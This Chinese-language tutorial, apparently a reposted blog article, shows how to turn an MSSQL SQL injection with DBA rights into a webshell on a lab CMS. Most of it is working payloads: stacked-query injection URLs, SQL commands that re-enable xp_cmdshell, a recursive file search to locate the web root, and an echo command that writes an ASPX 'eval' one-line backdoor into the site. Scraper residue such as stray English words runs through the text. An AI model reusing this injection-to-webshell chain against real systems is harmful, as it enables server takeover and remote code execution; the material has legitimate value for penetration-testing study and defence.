MSSQL DBA權限獲取WEBSHELL的過程

前言

本文主要經過一個案例來演示一下當MSSQL是DBA權限,且不知道路徑的時候如何去獲取WEBSHELL。固然這種方式對站庫分離的無效。
我測試的環境是在Win7 64位下,數據庫是SQLServer 2000,IIS版本是7.5,程序是採用風訊的CMS。後臺登陸後有多處注入,由於這裏是演示用注入獲取WEBSHELL,所以就不考慮後臺上傳的狀況了,只是用注入來實現。html

過程

首先找到一個以下的注入點:web

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1' and 1=user;--

經過SQLMAP能夠查看到是DBA權限注入點sql

DBA權限

建立臨時表shell

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--

在WINDOWS下查找文件用以下命令:
建立臨時表數據庫

for /r 目錄名:\ %i in (匹配模式) do @echo %i

例如在C盤下搜索NewsList.aspx,可使用for /r c:\ %i in (Newslist*.aspx) do @echo %i或者for /r c:\ %i in (Newslist.aspx*) do @echo %i安全

使用for /r c:\ %i in (Newslist*.aspx) do @echo %i的搜索結果
正確的搜索方式測試

必定要在匹配模式裏面加上一個*號,否則搜索出來的是所有的目錄,後面拼接了你搜索的內容。
使用for /r c:\ %i in (Newslist.aspx) do @echo %i的搜索結果spa

錯誤的搜索結果

用xp_cmdshell執行查找文件的命令,並將搜索的結果插入到臨時表中.net

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';--

沒法執行xp_cmdshell若是沒法執行xp_cmdshell,並提示以下錯誤SQL Server阻止了對組件‘xp_cmdshell’的過程‘sys.xp_cmdshell’的訪問。由於此組件已做爲此服務囂安全配置的一部分而被關閉。系統管理員能夠經過使用sp_configure啓用‘xp_cmdshell’。命令行

可使用以下命令來啓用xp_cmdshell

;EXEC sp_configure 'show advanced options',1;//容許修改高級參數
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴展
RECONFIGURE;--

執行搜索並結果插入到臨時表而後再次執行搜索命令。

在執行上述搜索和插入過程後,可使用' and (select(*) from tt_tmp)>1頁面返回是否正常來判斷是否有搜索結果。當沒有找到的話,select(*) from tt_tmp的結果爲1,不然大於1。若是沒有的話,就換目錄,能夠試試其餘盤符,如';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r d:\ %i in (Newslist*.aspx) do @echo %i ';--。也可使用sqlmap來查看條數。

能夠用報錯將表內容給顯示出來

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a

報錯讀出1 

繼續爆

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('c:\inetpub\wwwroot\manage\news\NewsList.aspx '))and 'a'='a

報錯讀出2 

也能夠用sqlmap直接將表中數據讀取出來

導出臨時表

而後根據導出結果的路徑來判斷是否可能爲WEB目錄。而後寫入一個測試文件,看是否能夠訪問來進一步證明結果。

這裏在根目錄寫了一個txt文件,寫別的目錄怕由於沒有權限而沒法訪問。

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo test >c:\\WWW\\2333.txt';--

查看寫入的測試文件

而後訪問http://192.168.232.138:81/2333.txt

成功訪問,而後就是寫一句話

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--

DOS命令將文件寫入文本中時,遇到<>應在前面加上^成功寫入。而後就是進一步的操做了,這裏就不概述了。
查看一句話

總結:

這裏一共有三個小的知識點:
1.sa用戶如何開啓xp_cmdshell

EXEC sp_configure 'show advanced options',1;//容許修改高級參數
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴展
RECONFIGURE;

2.Windows下利用dos如何搜索文件 

for /r c:\ %i in (Newslist*.aspx) do @echo %i
for /r c:\ %i in (Newslist.aspx*) do @echo %i

3.dos命令下寫文件遇到<>如何處理 

echo ^<^> > 123.txt

 

 

參考:

[1]Windows命令行(cmd)下快速查找文件(相似Linux下find命令) 
[2]技術分享:MSSQL注入xp_cmdshell

相關文章
相關標籤/搜索